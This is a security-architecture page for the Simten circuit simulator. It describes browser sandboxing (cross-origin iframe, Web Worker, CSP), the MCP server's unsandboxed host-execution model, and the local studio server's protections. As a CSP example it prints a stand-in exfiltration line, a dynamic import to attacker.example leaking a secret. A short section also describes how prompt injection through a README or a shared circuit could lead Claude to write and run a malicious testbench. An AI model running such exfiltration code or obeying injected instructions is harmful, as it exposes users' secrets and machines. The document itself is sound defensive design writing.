Simten

Security Architecture

How Simten isolates untrusted circuit code in both the browser and the MCP server

Overview

Circuit code is arbitrary TypeScript. When you share a circuit or ask Claude to simulate one, that code executes on your machine. Simten runs it in two separate sandboxes (one for the browser, one for the MCP server) so untrusted code cannot access your credentials, your filesystem, or your app's state.

Core invariant: In: arbitrary TypeScript string. Out: plain JSON only. No functions, Maps, or class instances cross any boundary. Any dangerous code executes only inside the sandbox, and its results are serialised to safe primitives before leaving.


Browser Sandbox

When you type circuit code in the editor, it compiles and simulates inside a hidden <iframe> served from a separate origin (sandbox.simtenusercontent.dev in production, localhost:3002 in development). The main app (simten.dev / localhost:3001) never executes user code directly, not even via eval or new Function().

This applies to every code-execution surface: the editor, the live playground, embed pages on embed.simten.dev, and useSimulation from @simten/react. All of them route through the same sandbox.

Two levels of isolation

Origin isolation (iframe)

The iframe is served from a different origin. The browser enforces a hard boundary: code inside sandbox.simtenusercontent.dev cannot read the simten.dev page, its localStorage or its DOM. This is enforced by the browser's same-origin policy at the OS level, not a JavaScript check.

The sandbox is also on a different site: simtenusercontent.dev is a separate registrable domain, not a subdomain of simten.dev. So cookies set for simten.dev never reach it, it can't set cookies the main site would accept, SameSite protections apply between them, and a blocklist that flags the sandbox doesn't flag simten.dev. See decision 0008.

<iframe
  src="https://sandbox.simtenusercontent.dev"
  sandbox="allow-scripts allow-same-origin"
  style="display:none; width:0; height:0"
/>

allow-same-origin is required so the sandbox iframe can load its own scripts (Vite dev server, Cloudflare Pages). It does not weaken isolation: the escape hatch only applies when the iframe and parent share the same origin, and they don't.

Thread isolation (Web Worker)

The iframe spawns a Web Worker for all user code execution. Workers get their own OS thread. An infinite loop (while(true){}) blocks only the worker thread; the main app and iframe event loop remain fully responsive.

simten.dev (main app)               ← never runs user code
└── sandbox.simtenusercontent.dev (iframe, origin boundary)
    ├── iframe-main thread          ← relay + watchdog, runs no user code
    └── worker.ts (Web Worker, separate thread)
        ├── new Function(userCode)  ← compile/simulate
        ├── eval:/onTick: lambdas   ← called from sim.tick()
        └── every simulator, snapshot and slot
            killable via worker.terminate() on 5s timeout

Network restriction (CSP)

The sandbox server sends a strict Content-Security-Policy header that locks down both code execution and outbound network access from within the iframe:

default-src 'none';
script-src  'self' 'unsafe-eval' blob: https://esm.sh;
connect-src 'self' https://esm.sh;
worker-src  'self';
base-uri    'none';
form-action 'none';
object-src  'none';
frame-ancestors http: https:;

The default of 'none' means every directive must be explicitly opted in. The specific allowances below are the minimum needed for the sandbox to function:

  • script-src 'self': the sandbox's own bundle, served same-origin.
  • script-src 'unsafe-eval': new Function() is the mechanism that runs compiled user code.
  • script-src blob:: the worker loads npm packages via a generated blob-URL ES module.
  • script-src https://esm.sh: that blob module's static imports resolve to esm.sh. Dynamic import() is governed by script-src, not connect-src, which is why this directive matters: without it, a circuit could exfiltrate data via import('https://attacker.example/?leak=' + secret) even though connect-src looks restrictive.
  • connect-src 'self' https://esm.sh: fetch, XMLHttpRequest, WebSocket, and friends are restricted to the same two destinations.
  • worker-src 'self': the Web Worker can only be constructed from a same-origin URL.
  • frame-ancestors http: https:: any web page may embed the sandbox, since @simten/react and @simten/sandbox run it on other sites too, but only a web page.

To close the import() exfiltration channel entirely, the worker also rejects circuit code containing dynamic import() expressions at compile time: the rewriter only handles static import statements, and leaving import() ungated even with the CSP above is unnecessary risk. Static imports remain fully supported; that covers every legitimate use case (importing fast-check, npm hash libraries as Tier-A oracles, etc.).

The policy is written once, in apps/sandbox/public/_headers. Cloudflare serves it in production, and the dev and preview servers (apps/sandbox/vite.config.ts) read the same file.

Embed pages

Shared circuits can be embedded in other sites from embed.simten.dev/s/<id>. That page is on its own origin so simten.dev can keep refusing to be framed by anyone but itself (frame-ancestors 'self' on every page). The embed origin is the opposite: any site may frame it. It is safe to frame because it holds nothing worth attacking. It sets no cookies, keeps nothing in storage, and has no action inside the frame that writes anything. Forking or saving happens on simten.dev, behind an "Open in Simten" link that opens a new tab.

The embed page runs only Simten's own code. The circuit's code still compiles and runs one level down, in the sandbox iframe described above, exactly as in the editor. Its enforced CSP:

default-src 'none';
script-src  'self';
style-src   'self';
img-src     'self' data:;
font-src    'self';
connect-src 'self';
frame-src   https://sandbox.simtenusercontent.dev;
frame-ancestors *;
base-uri    'none';
form-action 'none';
object-src  'none';

connect-src 'self' covers its one request, the shared source from embed.simten.dev/api/share/<id>. The policy is written in apps/embed-page/src/headers.ts.

Timeout and recovery

The iframe's main thread gives every request 5 seconds of worker time. If the worker doesn't answer:

  1. worker.terminate() kills the hung thread
  2. A fresh worker is spawned immediately
  3. Each simulation is recompiled from its last successful compile and starts again at cycle 0
  4. The stuck request gets a timeout error; anything queued behind it gets 'Worker restarted'

The main app never hangs.

eval: and onTick: lambdas

Circuit components can attach user lambdas via eval: and onTick:, which the simulator calls on every evaluation and tick. All simulation runs in the worker, so these lambdas run there too, inside the same terminate envelope as compile and simulate. The parent app (simten.dev) never executes user code at all.

A pathological lambda (for instance eval: () => { while(1); }) blocks only the worker. The watchdog on the iframe's main thread kills it after 5 seconds, and the simulation restarts at cycle 0. What the worker held is gone: cycle count, switch positions and time-travel history. Memory loaded at runtime, such as a program written into ROM or RAM, is cleared too. Snapshot ids from before the restart no longer restore. If a circuit hangs again while it's being recompiled, that simulation is dropped.

postMessage boundary

All communication between the main app and the sandbox crosses a postMessage boundary using structured-clone-safe data, with message types shared by both sides (packages/sandbox/src/protocol.ts, internal to @simten/sandbox). Each side accepts messages only from the other's window and origin: the page checks that a message came from its sandbox iframe at the sandbox origin, and the sandbox checks that it came from its parent window, at the parent's origin. Inside the sandbox, the iframe's main thread passes these messages to the worker and back unchanged. The main app only ever receives data: the circuit IR, port values and peripheral state. It never receives or runs user code. One exception runs the other way: useSimulation given a circuit built on the page sends its components' lambdas to the sandbox as source strings (fn.toString()), and the worker rebuilds them with new Function(), so closure variables don't survive the trip.

npm imports

Circuit code can use import statements to load npm packages:

import fc from 'fast-check';

const MyCircuit = circuit('MyCircuit', { ... });

When the worker detects import statements, it:

  1. Extracts them and rewrites bare npm specifiers to https://esm.sh/<package>. An https://esm.sh/ URL is kept as it is; any other URL or a file path is a compile error.
  2. Builds a loader ES module and dynamically imports it via a Blob URL
  3. Merges the resolved package values into the scope passed to the circuit executor
  4. Revokes the Blob URL immediately after loading

@simten/* imports are silently skipped, since those names are already in scope and don't require a network fetch.

This all happens inside the sandbox worker. The main frame never touches the npm packages.

What is and isn't blocked

AttackStatus
Access simten.dev localStorageBlocked: origin isolation
Access simten.dev cookiesBlocked: the sandbox is on a different site (simtenusercontent.dev), so simten.dev cookies are never sent to it
Access simten.dev DOMBlocked: origin isolation
window object from user codeBlocked: runs in Worker (no window)
localStorage from user codeBlocked: user code runs only in the Worker, where localStorage isn't defined
Infinite loop in compile / simulate / an eval: or onTick: lambdaBlocked: Worker on separate OS thread, killed after 5s via worker.terminate(); the simulation restarts at cycle 0
HTTP requests to arbitrary hostsBlocked: connect-src CSP on sandbox server
Source code exfiltration via fetchBlocked: connect-src CSP on sandbox server
new Function() in main frameBlocked: enforced by automated invariant tests (see below)

MCP Server: host execution, not a sandbox

When Claude calls verify_circuit, simulate_circuit, or check_circuit, the code runs on your host with your trust level, not in an isolated sandbox.

  • verify_circuit spawns your testbench file (*.verify.ts) via tsx as a subprocess. It inherits your shell environment, has full filesystem access, and can reach the network. This is the same trust level as npm test.
  • simulate_circuit and check_circuit execute in-process inside the MCP server itself. No subprocess boundary.

This is intentional. The MCP server runs alongside your IDE; the testbenches are part of your repo; both are code you wrote (or pasted) and chose to run. Adding a sandbox here would block legitimate use cases (Tier-A oracles that import npm packages, testbenches that read fixture files, captured-data verification) without adding meaningful protection. An attacker who can write to your repo can do worse than what a sandboxed testbench could.

This is the same trust model used by npm test, vitest, IDE language servers, and most other MCP servers (filesystem, git, postgres, etc.). The norm for "developer tooling that runs your code on your behalf" is no sandbox.

What this means in practice

If you...Then...
Write your own testbenchesSame trust as any code in your repo
Paste a .verify.ts from a strangerTreat it like pasting any other .ts file from a stranger: it can read your files, hit the network, run arbitrary code
Run an MCP tool against a circuit shared by someone elseThe circuit runs in the browser sandbox documented above. The testbench (if you wrote one) runs on your host.

Boundaries that still apply

  • Browser-rendered circuits continue to execute inside the browser sandbox above. The MCP host-execution model only governs verify_circuit and the MCP-side simulate/check entry points.
  • Per-call timeouts. Each MCP tool has a per-call timeout (default 30s for verify) so a hung testbench doesn't wedge the session. The subprocess is killed on timeout.
  • The MCP server itself does not phone home. No telemetry, no analytics; the network reach a testbench has comes from tsx inheriting your environment, not from MCP infrastructure.

The prompt-injection angle

The one MCP-specific risk worth naming: with npm test, you invoke it. With MCP, Claude invokes verify_circuit on your behalf, and could in principle be socially engineered via prompt injection (a crafted instruction in a README, a circuit shared by another user) into writing a malicious .verify.ts and running it.

This isn't unique to simten; every code-executing MCP tool (filesystem-write + bash, language interpreters, etc.) has the same shape. Mitigation belongs in the layers above the tool: the MCP client confirming tool calls before they run (most do), and the LLM provider's prompt-injection defenses. Sandboxing verify_circuit alone wouldn't fix it: a malicious instruction could still drive other tools the agent has (Write, Bash) to compromise the host.

If you want stronger isolation

The model above is the default and matches what npm test does. If your threat model requires stronger isolation (for example, you're running untrusted testbenches from public sources), the MCP server runs anywhere Node runs. Invoke it inside a Docker container, on a separate user account, or on an isolated dev VM. The tool imposes no sandbox; the OS-level choice is yours.


Local studio server

Separate from the host-execution model above (which governs running your code), the MCP also runs a small server that drives a viewer in your browser: when Claude calls show_circuit, the MCP serves a bundled, standalone editor build and pushes circuits to it for display. The page and its WebSocket share one localhost origin, which sidesteps the browser's Local Network Access block (a public page may not reach ws://localhost).

Because that server is browser-facing, its security rests on four properties:

  • Loopback-only bind. The HTTP + WebSocket server binds 127.0.0.1, so it is not reachable from your network or LAN; only processes on your own machine can connect.
  • Per-process token. Each MCP start mints a fresh random token, delivered to the viewer only via the URL fragment (which the browser never sends to the server in a request, and which is never embedded in served content). A connection whose token doesn't match is closed immediately. The token is not persisted to disk, so a stale tab can't authenticate against a later instance.
  • Origin allowlist. A browser WebSocket handshake whose Origin isn't localhost is refused before the token is even checked, so a cross-site page you happen to visit cannot open a studio socket even if it guesses the port. Non-browser clients (which send no Origin) remain token-gated.
  • Viewer-only inbound surface. The server accepts exactly two messages from the browser: a session register, and a render-result that is reduced to a boolean acknowledgment. Browser-supplied strings (circuit names, error text) are discarded and never surfaced to a tool result, an MCP notification, or anything an agent reads. The circuit name shown to Claude is derived from the source the MCP pushed, not from the browser. This is why the older browser→Claude chat bridge and the get_circuit_state read-back were removed: a rendered, possibly-hostile page must not be able to feed a shell-capable agent or read host state.

The served content is just the public editor bundle (no secrets); path requests are traversal-guarded and contained to the bundle directory. The only sensitive data, your circuit source, travels over the token-gated WebSocket, never the static file server. Circuit code rendered in that viewer still executes inside the browser sandbox, exactly as on the hosted site.


Automated invariant tests

To prevent accidental re-introduction of unsafe code execution patterns in the main frame, the test suite includes invariant checks that scan all source files in apps/web/src, apps/game/src, apps/embed-page/src, packages/react/src and packages/shared/src:

  • No new Function( calls: the underlying primitive behind all dynamic code execution
  • No imports of executeCircuitCode or executeJsCode: the core functions that call new Function()

These tests run in CI and fail immediately if either pattern appears outside the sandbox worker.

On this page